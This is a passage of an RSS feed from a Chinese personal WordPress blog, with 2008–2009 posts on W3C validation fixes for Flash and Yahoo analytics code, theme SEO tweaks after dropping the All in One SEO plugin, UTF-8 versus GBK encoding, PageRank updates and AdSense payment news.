				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[noscript]]></category>
		<category><![CDATA[swfobject]]></category>
		<category><![CDATA[w3c标准]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=310</guid>
		<description><![CDATA[当然，我现在用的模板是已经通过验证的了，而且在各个浏览器里的兼容性很好，不过模板拿来之后，难免要改一改，使之符合自己的要求，本来是未作修改之前是通过验证的，修改之后，出现了大量的错误。
最高的时候是有89个错误在首页，当然虽说数字很高，但是错误的地方主要就是几个而已，包括在图片、flash、和雅虎统计的代码中，现在就针对这几个地方作出修改，部分设置是针对WordPress的。

一、让图片代码中的align，通过W3C验证
标准由于代码与数据分离的原则，已经去掉了align属性，由原来的&#60;img src=”" align=”left”  [...]]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>当然，我现在用的模板是已经通过验证的了，而且在各个浏览器里的兼容性很好，不过模板拿来之后，难免要改一改，使之符合自己的要求，本来是未作修改之前是通过验证的，修改之后，出现了大量的错误。</p>
<p>最高的时候是有89个错误在首页，当然虽说数字很高，但是错误的地方主要就是几个而已，包括在图片、flash、和雅虎统计的代码中，现在就针对这几个地方作出修改，部分设置是针对WordPress的。</p>
<p><span id="more-310"></span></p>
<p><strong>一、让图片代码中的align，通过W3C验证</strong></p>
<p>标准由于代码与数据分离的原则，已经去掉了align属性，由原来的&lt;img src=”" align=”left” /&gt;只能改由CSS控制。这个地方，WordPress提供了一个很好的编辑器，可以直接在后台设置一下，再插入图片，对原来的图片修改之后，就可以通过验证。</p>
<p>具体在<span style="color: #ff6600;">后台-&gt;设置-&gt;撰写-&gt;格式化</span>，把□WordPress 自动校正错误的 XHTML 代码打上勾就可以了，不过如此更改之后，插入flash的时候就插不进去了。</p>
<p><strong>二、让Flash通过W3C验证</strong></p>
<p>flash的标签在W3C里都是找不到的，所以通不过W3C的验证是很正常的。解决方法就是通过JavaScript输出flash。像DreamWeaver里就有一段解决这个问题的代码，在DreamWeaver里操作的时候，插入Flash时会自动提醒附加JS文件，这里就不再表述了。</p>
<p>其实大部分的门户网站，用的是 swfobject 去控制的，这段代码可以到http://code.google.com/p/swfobject/里面下载到最新版，目前版本是2.1，大约在23K。根据原来的 object 或者 embed 形式的代码转换成 JavaScript 的形式。注意 swfobject 需要一个 Div容器来输出数据。</p>
<p>以下示例是根据滔滔的Flash插件，转换来的，看id为publicize的容器。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">var</span> flashvars <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
flashvars.<span style="color: #660066;">pw</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;270&quot;</span><span style="color: #339933;">;</span>
flashvars.<span style="color: #660066;">ph</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;400&quot;</span><span style="color: #339933;">;</span>
flashvars.<span style="color: #660066;">qq</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;QQ号码&quot;</span>
flashvars.<span style="color: #660066;">num</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;20&quot;</span>
flashvars.<span style="color: #660066;">style</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;1&quot;</span>
<span style="color: #003366; font-weight: bold;">var</span> params <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
params.<span style="color: #660066;">menu</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;false&quot;</span><span style="color: #339933;">;</span>
params.<span style="color: #660066;">quality</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;autohigh&quot;</span><span style="color: #339933;">;</span>
params.<span style="color: #660066;">wmode</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;transparent&quot;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> attributes <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
attributes.<span style="color: #660066;">id</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;flashplayer&quot;</span><span style="color: #339933;">;</span>
swfobject.<span style="color: #660066;">embedSWF</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;http://www.taotao.com/res/ttlist.swf&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;publicize&quot;</span><span style="color: #339933;">,</span> flashvars.<span style="color: #660066;">pw</span><span style="color: #339933;">,</span> flashvars.<span style="color: #660066;">ph</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;9.0.124.0&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;/99/expressInstall.swf&quot;</span><span style="color: #339933;">,</span> flashvars<span style="color: #339933;">,</span> params<span style="color: #339933;">,</span> attributes<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>主要是这个部分，没有这个容器是不会输出内容的，当然这个名字你可以改成另一个。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>16
17
18
19
20
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;publicize&quot;</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.adobe.com/go/getflashplayer&quot;</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Get Adobe Flash player&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
  <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></pre></td></tr></table></div>

<p><strong>三、雅虎统计代码通过W3C验证</strong></p>
<p>这是一个很多人不注意的地方，雅虎统计也没有提供一段标准的代码，其实像Google一样，不要noscript就可以了啊，估计现在没有javascript支持的应该很少吧。</p>
<p>下面是雅虎统计的代码，主要有两个部分，一个是图片没有alt，另一个是noscript里需要 p div等容器。<br />
 </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://js.tongji.cn.yahoo.com/你的统计代号/ystat.js&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">noscript</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://tongji.cn.yahoo.com&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://img.tongji.cn.yahoo.com/你的统计代号/ystat.gif&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;雅虎统计&quot;</span><span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">noscript</span>&gt;</span></pre></td></tr></table></div>

<p>附通过验证的载图</p>
<div class="wp-caption aligncenter" style="width: 410px"><img src="http://lh4.ggpht.com/_SbB9RxjJztk/SZ7uc9lOPEI/AAAAAAAAAUo/IbWbXNnFFk0/s400/w3cpassed.jpg" alt="" width="400" height="143" /><p class="wp-caption-text">通过了W3C验证的截图</p></div>
<p>当然，不能单纯为了通过验证而验证，有一个地方在我看来是不合理的，就是在新窗口中打开，原来的target=”_blank”是很方便的，而现在呢，就会提示出错，解决办法也是用javascript 脚本实现。可以到网上以 target w3c 为关键词搜索，就能找到解决方案。 <img src='http://imvoo.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':grin:' class='wp-smiley' />  </p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/313.html" title="WordPress的留言模板代码输出未闭合的Bug">WordPress的留言模板代码输出未闭合的Bug</a></li><li><a href="http://imvoo.com/archives/299.html" title="于今天2月17日再次更换模板">于今天2月17日再次更换模板</a></li><li><a href="http://imvoo.com/archives/94.html" title="因为换了模板，百度搜索里的内容只剩11条了">因为换了模板，百度搜索里的内容只剩11条了</a></li><li><a href="http://imvoo.com/archives/91.html" title="刚刚安装了新的主题后，发现页面源文件乱码">刚刚安装了新的主题后，发现页面源文件乱码</a></li><li><a href="http://imvoo.com/archives/521.html" title="LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则">LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/310.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>对iNove的修改 停用 All in One Seo</title>
		<link>http://imvoo.com/archives/301.html</link>
		<comments>http://imvoo.com/archives/301.html#comments</comments>
		<pubDate>Tue, 17 Feb 2009 15:46:37 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[All in One Seo]]></category>
		<category><![CDATA[iNove]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[修改]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[收录]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/301.html</guid>
		<description><![CDATA[居然发现很多篇关于All in One Seo导致百度收录速度下降的问题，有的居然被K到只剩下了首页。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>在月光博客看到介绍的All in One Seo这个Wordpress插件，说是很强大，利于搜索引擎优化，今天在换了iNove的主题之后，发现该模板已经针对了Seo进行了优化。但是美中不足的是与我之前用的All in One Seo的设置有一些不同。</p>
<p>在网上搜索之后，居然发现很多篇关于All in One Seo导致百度收录速度下降的问题，有的居然被K到只剩下了首页。前一个问题，本博是有的，在百度上的收录速度的确不如人意，最快2－3天收录内容页，最慢的也要7天左右吧，再慢？春节期间是半个月，连首页快照也没有更新。</p>
<p><span id="more-301"></span></p>
<p>说一下原因：</p>
<p>WordPress的All in One Seo插件，会对archives页面，添加一个noindex,follow的meta标签，就是这个导致百度不收录，网上普遍的解决方案是把robots改为Googlebot，这是因为Google比百度聪明，能看明白这个标签。</p>
<p>停用All in One Seo之后，参照了网上的内容，结合iNove主题作了一些修改优化。</p>
<p>原来的描述和关键字代码部分（没有改动）：</p>
<p><span> </span>&lt;?php</p>
<p><span> </span>if (is_home()) {</p>
<p><span> </span>$description = $options['description'];</p>
<p><span> </span>$keywords = $options['keywords'];</p>
<p><span> </span>} else if (is_single()) {</p>
<p><span> </span>$description =  $post-&gt;post_title;</p>
<p><span> </span>$keywords = “”;</p>
<p><span> </span>$tags = wp_get_post_tags($post-&gt;ID);</p>
<p><span> </span>foreach ($tags as $tag ) {</p>
<p><span> </span>$keywords = $keywords . $tag-&gt;name . “, “;</p>
<p><span> </span>}</p>
<p><span> </span>} else if (is_category()) {</p>
<p><span> </span>$description = category_description();</p>
<p><span> </span>}</p>
<p><span> </span>?&gt;</p>
<p>修改的Title部分为：</p>
<p>&lt;title&gt;&lt;?php if (is_single() || is_page() || is_archive()){?&gt;&lt;?php wp_title(”,true);?&gt; | &lt;?php bloginfo(&#8216;name&#8217;);} ?&gt;&lt;?php if (is_home()) {bloginfo(“name”);?&gt;_&lt;?php bloginfo(&#8216;description&#8217;);} ?&gt;&lt;/title&gt;</p>
<p>原来的关键字和描述部分，没有改动：</p>
<p>&lt;meta name=”keywords” content=”&lt;?php echo $keywords; ?&gt;” /&gt;<br />
&lt;meta name=”description” content=”&lt;?php echo $description; ?&gt;” /&gt;</p>
<p>修改的针对蜘蛛的meta部分为：</p>
<p>&lt;?php if (is_single() || is_page() || is_home() ) : ?&gt;<br />
&lt;meta name=”robots” content=”index,follow” /&gt;<br />
&lt;?php else : ?&gt;<br />
&lt;meta name=”Googlebot” content=”noindex,follow” /&gt;<br />
&lt;?php endif; ?&gt;</p>
<p>有的文章说这行要在上面空一行，不明白什么原因，照做了，还在下面空了一行。</p>
<p>经过这样的改动之后，终于和我以前的设置对应起来了，剩下的时间就要开始承受搜索引擎的考验了，上次改动模板的时候，页面被百度差不多K光了，估计这次的情况也不会好，因为在保持原来的设置的同时，对首页的标题、关键字和描述都做了一些改动。前文说的目录已经设置到了上面，页面结构已经和前一个模板Maxthon2差不多了。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/313.html" title="WordPress的留言模板代码输出未闭合的Bug">WordPress的留言模板代码输出未闭合的Bug</a></li><li><a href="http://imvoo.com/archives/299.html" title="于今天2月17日再次更换模板">于今天2月17日再次更换模板</a></li><li><a href="http://imvoo.com/archives/185.html" title="Wordpress模板：修改后的Maxthon2模板，支持Widget">Wordpress模板：修改后的Maxthon2模板，支持Widget</a></li><li><a href="http://imvoo.com/archives/131.html" title="高兴：百度收录恢复正常了">高兴：百度收录恢复正常了</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/301.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>建站选utf-8还是GB2312(GBK)？</title>
		<link>http://imvoo.com/archives/243.html</link>
		<comments>http://imvoo.com/archives/243.html#comments</comments>
		<pubDate>Fri, 02 Jan 2009 05:04:41 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[gb2312]]></category>
		<category><![CDATA[gbk]]></category>
		<category><![CDATA[utf-8]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/243.html</guid>
		<description><![CDATA[传统的使用GB标准的网站，用其它语言系统访问时，就会造成乱码，utf-8包括了世界上大部分的语言编码，别国语言系统在访问时不会存在乱码现象。虽然现在大部人建站是为了国内访问者，但也不能忽视了少部分的国外访问者，所以说选择utf-8才是未来发展的主要的方向。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>经常在网上看到有的朋友问建站时选择utf-8还是GBK(GB2312)呢？目前建站的朋友大部分建的是中文站，因为GBK比utf-8占用的空间小，很多人就选择了GBK。现在网上的大部分cms都有两种编码方式，到底要如何选择呢？</p>
<p> <span id="more-243"></span>
<p><strong>UTF-8</strong>是UNICODE的一种变长字符编码，由Ken Thompson于1992年创建。现在已经标准化为RFC 3629。UTF-8用1到6个字节编码UNICODE字符。如果UNICODE字符由2个字节表示，则编码成UTF-8很可能需要3个字节，而如果UNICODE字符由4个字节表示，则编码成UTF-8可能需要6个字节。用4个或6个字节去编码一个UNICODE字符可能太多了，但很少会遇到那样的UNICODE字符。</p>
<p><strong>GBK:</strong> 汉字国标扩展码,基本上采用了原来GB2312-80所有的汉字及码位，并涵盖了原Unicode中所有的汉字20902，总共收录了883个符号， 21003个汉字及提供了1894个造字码位。 Microsoft简体版中文Windows 95就是以GBK为内码，又由于GBK同时也涵盖了Unicode所有CJK汉字，所以也可以和Unicode做一一对应。<strong>GB 2312标准</strong>共收录6763个汉字，其中一级汉字3755个，二级汉字3008个；</p>
<p>传统的使用GB标准的网站，用其它语言系统访问时，就会造成乱码，utf-8包括了世界上大部分的语言编码，别国语言系统在访问时不会存在乱码现象。虽然现在大部人建站是为了国内访问者，但也不能忽视了少部分的国外访问者，所以说选择utf-8才是未来发展的主要的方向。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">暂无相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/348.html" title="Google Adsense正在内测人民币支付">Google Adsense正在内测人民币支付</a></li><li><a href="http://imvoo.com/archives/384.html" title="本网站6月3日－6月5日停机维护">本网站6月3日－6月5日停机维护</a></li><li><a href="http://imvoo.com/archives/619.html" title="联通营业厅里居然不能刷卡">联通营业厅里居然不能刷卡</a></li><li><a href="http://imvoo.com/archives/275.html" title="Thank you for Trying Quickoffice Premier 6.0 &#8212; Now Save 20%!">Thank you for Trying Quickoffice Premier 6.0 &#8212; Now Save 20%!</a></li><li><a href="http://imvoo.com/archives/47.html" title="今天换了一个发布工具Zoundry">今天换了一个发布工具Zoundry</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/243.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>本站Pr值于今天更新</title>
		<link>http://imvoo.com/archives/239.html</link>
		<comments>http://imvoo.com/archives/239.html#comments</comments>
		<pubDate>Wed, 31 Dec 2008 04:54:13 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[pr值]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/239.html</guid>
		<description><![CDATA[昨天还写了一篇文章说Pr值没有更新，今天在phpcms论坛上看到有人说今天是Pr值最后一天更新，用Firefox上网一查果然更新了，目前本站首页Pr已经升到了2，不管怎么说是进步了哈。留文纪念。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>昨天还写了一篇文章说Pr值没有更新，今天在phpcms论坛上看到有人说今天是Pr值最后一天更新，用Firefox上网一查果然更新了，目前本站首页Pr已经升到了2，不管怎么说是进步了哈。留文纪念。</p>
<p>  <span id="more-239"></span>
<p>什么叫PR值</p>
<p>PR值，即PageRank，网页的级别技术。取自Google的创始人Larry Page，它是Google排名运算法则（排名公式）的一部分，用来标识网页的等级/重要性。级别从1到10级，10级为满分。PR值越高说明该网页越受欢迎（越重要）。例如：一个PR值为1的网站表明这个网站不太具有流行度，而PR值为7到10则表明这个网站非常受欢迎（或者说极其重要）。</p>
<p>那么影响pr的因素有哪些呢? 今天与大家分享下知识:</p>
<ol>
<li>与pr高的网站做链接:</li>
<li>内容质量高的网站链接</li>
<li>加入搜索引擎分类目录</li>
<li>加入免费开源目录</li>
<li>你的链接出现在流量大、知名度高、频繁更新的重要网站上</li>
<li>google对DPF格式的文件比较看重。（<strong>是不是PDF文件?</strong>）</li>
<li>安装Google工具条</li>
<li>域名和tilte标题出现关键词与meta标签等</li>
<li>反向连接数量和反向连接的等级</li>
<li>Google抓取您网站的页面数量</li>
<li>导出链接数量</li>
</ol>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/237.html" title="Pr值未如期更新">Pr值未如期更新</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/239.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pr值未如期更新</title>
		<link>http://imvoo.com/archives/237.html</link>
		<comments>http://imvoo.com/archives/237.html#comments</comments>
		<pubDate>Tue, 30 Dec 2008 06:29:55 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[pr值]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=237</guid>
		<description><![CDATA[都在说Google的Pr值每三个月在27日左右更新，但我从25日开始观察以来，到现在30日还未更新。从博客上次更新以来已经有3个月了，可能最近就会更新。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>都在说Google的Pr值每三个月在27日左右更新，但我从25日开始观察以来，到现在30日还未更新。从<a href="http://imvoo.com/archives/169.html" target="_blank">博客上次更新</a>以来已经有3个月了，可能最近就会更新。目前本博的Pr还是1，这是因为中间有差不多一年的时间没有更新，流量最低降到个位数很长一段时间，以前的Pr可是3的，最低是0，9月份的更新升为1，期待这次的更新能到达2。</p>
<p><span id="more-237"></span></p>
<p>附目前Pr为10的网站（不完全）pr=10</p>
<p> 01、<a href="http://www.google.com/" target="_blank"><span style="color: #0000ff;">http://www.google.com</span></a>                   谷歌自己的官方网站,PRCEO</p>
<p>02、<a href="http://www.w3.org/" target="_blank"><span style="color: #0000ff;">http://www.w3.org</span></a>                            万维网协会,这在很多网站的源文件都是可以看到的</p>
<p>03、<a href="http://www.microsoft.com/" target="_blank"><span style="color: #0000ff;">http://www.microsoft.com</span></a>               微软官方网站</p>
<p>04、<a href="http://www.adobe.com/" target="_blank"><span style="color: #0000ff;">http://www.adobe.com</span></a>                    美国的adobe公司官网,著名的图形图像和排版软件的生产商</p>
<p>05、<a href="http://www.csail.mit.edu/" target="_blank"><span style="color: #0000ff;">http://www.csail.mit.edu</span></a>                 麻省理工学院计算机科学和人工智能实验室</p>
<p>06、<a href="http://www.energy.gov/" target="_blank"><span style="color: #0000ff;">http://www.energy.gov</span></a>                    美国资源部</p>
<p>07、<a href="http://www.nsf.gov/" target="_blank"><span style="color: #0000ff;">http://www.nsf.gov</span></a>                           美国国家科学基金会</p>
<p>08、<a href="http://statcounter.com/" target="_blank"><span style="color: #0000ff;">http://statcounter.com</span></a>                     一个统计网站信息的网站</p>
<p>09、<a href="http://www.apple.com/" target="_blank"><span style="color: #0000ff;">http://www.apple.com</span></a>                    苹果公司官网</p>
<p>10、<a href="http://www.ercim.org/" target="_blank"><span style="color: #0000ff;">http://www.ercim.org</span></a>                       欧洲信息学及数学研究机构</p>
<p>这些是国外的，另外国内的<a href="http://www.miibeian.gov.cn">http://www.miibeian.gov.cn</a>这个网站也是10，大名顶顶的，国内的网站都有链接。国人关心的<a href="http://www.gov.cn">http://www.gov.cn</a>目前还是9。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/448.html" title="Chrome五个扩展程序推荐">Chrome五个扩展程序推荐</a></li><li><a href="http://imvoo.com/archives/446.html" title="2010年重要提醒，Google将不再支持IE6">2010年重要提醒，Google将不再支持IE6</a></li><li><a href="http://imvoo.com/archives/441.html" title="谷歌中国恢复正常运转?">谷歌中国恢复正常运转?</a></li><li><a href="http://imvoo.com/archives/438.html" title="离互联网渐行渐远">离互联网渐行渐远</a></li><li><a href="http://imvoo.com/archives/394.html" title="Google软件精选去除瑞星杀毒软件">Google软件精选去除瑞星杀毒软件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/237.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Adsense 将于09年实现本地化支付</title>
		<link>http://imvoo.com/archives/232.html</link>
		<comments>http://imvoo.com/archives/232.html#comments</comments>
		<pubDate>Wed, 24 Dec 2008 14:39:55 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google Adsense]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/232.html</guid>
		<description><![CDATA[工作重点就是解决本地化问题，一个是支付本地化，一个是身份验证本地化。支付牵涉到的技术、换算、与银行系统的对接等多种因素，谷歌也不能给出具体的时间表，预计09年就可以实现本地化的快捷支付。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>这个新闻不能算是新闻了，从07年就有，07年的说法是年底实现，后来变成08年实现，又变成08年底，现在又成了09年了。</p>
<p><span id="more-232"></span>
<p>在10月22号上午的新闻发布会中，中国站长站资讯总监胡扬代表广大中小站长就大家关心的问题向Google Adsense Team提问。
<p>Google (谷歌)亚太区在线销售与运营部主管周文彪先生称当前Adsense中国团队的工作重点就是<strong>解决本地化问题</strong>，一个是<strong>支付本地化</strong>，一个是身份验证本地化。支付牵涉到的技术、换算、与银行系统的对接等多种因素，谷歌也不能给出具体的时间表，<strong>预计09年就可以实现本地化的快捷支付</strong>。众多站长反应的谷歌采用PIN码身份验证机制不太符合国情，目前已经在与总部交流，可能与会在不久可以采用其它的身份验证机制取代PIN码。
<p>关于在站长论坛中提到广告联盟行业普遍存在的作弊和被对手恶意点击的问题，Google Adsense完全有能力解决这些问题，请站长们放心，同时建议站长合理使用有效域名保护的手段去防范恶意点击。另据周文彪介绍，谷歌的广告部门从04年9月在华设立团队以来，一直在进行技术、产品和服务的本地化，今后将在广告模式改变、广告尺寸不断听取站长建议去创新改进。
